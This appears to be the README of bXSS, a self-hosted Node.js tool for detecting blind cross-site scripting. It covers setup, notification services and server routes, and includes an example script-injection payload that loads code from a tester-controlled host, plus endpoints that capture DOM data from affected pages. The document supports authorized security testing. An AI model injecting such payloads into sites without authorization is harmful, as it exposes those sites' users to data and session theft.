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bXSS is a utility which can be used by bug hunters and organizations to identify Blind Cross-Site Scripting.
bXSS supports the following:
Requirements
Necessary
- Server you control
- Usable domain
- Node.js and Express.js
Optional
Set-Up
Default
- cd bXSS && npm install
- Update The Configuration || Environment Variables
- Domain
- config.url = Domain intended for use e.g ardern.io
- config.port.http = Port to run the Node.js app e.g 80
- Rename configExample.js to config.js
Configuring Services
Services are optional, by default bXSS will save a markdown file to disk. If you don't want to use any service documented below, just delete the service from the config.
- Twilio
- Slack
- Cisco
- Discord
- Steps to create a bot:
- config.discord.token = 'your bot token'
- config.discord.channel = 'channel that you want it to join, e.g general'
- Twitter
- config.twitter.consumer_key = API Key
- config.twitter.consumer_secret = API Secret Key
- config.twitter.access_token_key = Application Access Token
- config.twitter.access_token_secret = Application Access Token Secret
- Permissions (Write)
- config.twitter.recipient_id = Twitter User ID, which can be found here
- SMTP
- config.smtp.user = email username
- config.smtp.pass = email password
- config.smtp.port = port you are connecting to e.g 465
- config.smtp.host = host you are connecting to e.g smtp.example.com
- config.smtp.to = ['email1@domain.com','email2@domain.com'] where you want to send the emails
- config.smtp.tls = use TLS, boolean true or false
- Github
Setting Up HTTPS
Consider using a reverse proxy, for example in NGINX, but if you want to configure HTTPS using express, follow the steps below:
- Obtain a let's Encrypt cert
- Using Node.js
- Update Configuration
- config.letsEncrypt.TLS = true;
- config.letsEncrypt.publicKey = $Path/fullchain.pem
- config.letsEncrypt.privateKey = $Path/privkey.pem
- config.letsEncrypt.ca = $Path/chain.pem
- config.port.https = 443
Starting The Application
Once you have configured the above, simply start the server with any available utility at the application root directory:
- node app.js
- nodemon app.js
- pm2 start app.js
Using
Once the application is functional, you would just identify sites you are authorized to test and start to inject different payloads that will attempt to load your resource, the easiest example is:
"><script src="https://example.com/m"></script>
The application has the following routes:
- POST - /m (Captures DOM information)
- GET - /mH (Captures HTTP interactions)
- GET - /alert (displays alert(1))
- GET - /payloads (Gives payloads you can use for testing blind xss)
- GET - /** (All other routes load the payload)
Contribute?
If you like the project, feel free to contribute or if you want to suggest improvements or notice any problems, file a issue.